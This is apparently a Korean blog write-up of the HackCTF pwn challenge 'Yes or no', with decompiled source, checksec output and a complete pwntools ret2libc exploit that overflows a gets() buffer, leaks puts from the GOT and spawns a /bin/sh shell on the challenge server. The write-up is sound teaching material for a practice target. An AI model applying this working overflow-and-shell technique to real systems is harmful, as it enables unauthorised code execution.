[hackctf] Yes or no

sangjun

·

2021. 4. 18. 19:19

반응형

 

문제 소스

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // eax
  int v5; // ecx
  int v6; // eax
  int v7; // eax
  char s; // [rsp+Eh] [rbp-12h]
  int v10; // [rsp+18h] [rbp-8h]
  int v11; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  v11 = 5;
  puts("Show me your number~!");
  fgets(&s, 10, stdin);
  v10 = atoi(&s);
  if ( (v11 - 10) >> 3 < 0 )
  {
    v4 = 0;
  }
  else  

  {
    v3 = v11++;
    v4 = v10 - v3;
  }
  if ( v4 == v10 )
  {
    puts("Sorry. You can't come with us");
  }
  else
  {
    v5 = 1204 / ++v11;
    v6 = v11++;
    if ( v10 == v6 * v5 << (++v11 % 20 + 5) )
    {
      puts("That's cool. Follow me");
      gets(&s);
    }
    else
    {
      v7 = v11--;
      if ( v10 == v7 )
      {
        printf("Why are you here?");
        return 0;
      }
      puts("All I can say to you is \"do_system+1094\".\ngood luck");
    }
  }
  return 0;
}

 

보호기법

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

 

문제 분석 및 페이로드

위의 헥스레이를 본 결과 정적 분석은 힘들것 같아서 동적 분석을 진행했다.

 

즉, 입력값과 eax값인 0x960000을 비교하여 일치하면 gets함수를 통해 ret을 바꿀 수 있습니다.

이렇게 ret over write를 진행하여 RTL을 진행했습니다.

from pwn import *

context.log_level='debug'

p=remote("ctf.j0n9hyun.xyz",3009)
e=ELF("./yes_or_no")
libc=ELF("./libc-2.27.so")

rdi=0x400883
puts_plt=e.plt['puts']
puts_got=e.got['puts']
main=e.symbols['main']
puts_offset=libc.symbols['puts']
system_offset=libc.symbols['system']
bin_offset=libc.search("/bin/sh").next()

payload="A"*26
payload+=p64(rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)

p.sendlineafter("~!\n","9830400")
p.recvline()
p.sendline(payload)

leak=u64(p.recvuntil("\x7f").ljust(8,'\x00'))
base=leak-puts_offset

bin_addr=base+bin_offset
system_addr=base+system_offset

pay2="B"*26
pay2+=p64(rdi)
pay2+=p64(bin_addr)
pay2+=p64(0x40056e)
pay2+=p64(system_addr)

p.sendlineafter("~!\n","9830400")
p.recvline()

p.sendline(pay2)
p.interactive()

 

참고문헌 및 힘들었던 부분

1. 정적 분석하느라 힘들었다

--> 동적 분석 진행

2. stack정렬 문제로 ret가젯을 하나 더 넣어줘야함

https://www.cameronwickes.com/stack-alignment-ubuntu-18-04-movaps/

 

반응형

'War Games > hack-ctf' 카테고리의 다른 글

[hackctf] Poet  (0) 2021.04.18
[hackctf] RTL_World  (0) 2021.04.18
[hackctf] BOF_PIE  (0) 2021.04.18
[hackctf] offset  (0) 2021.04.18
[hackctf] Simple_Overflow_ver_2  (0) 2021.04.18

0개의 댓글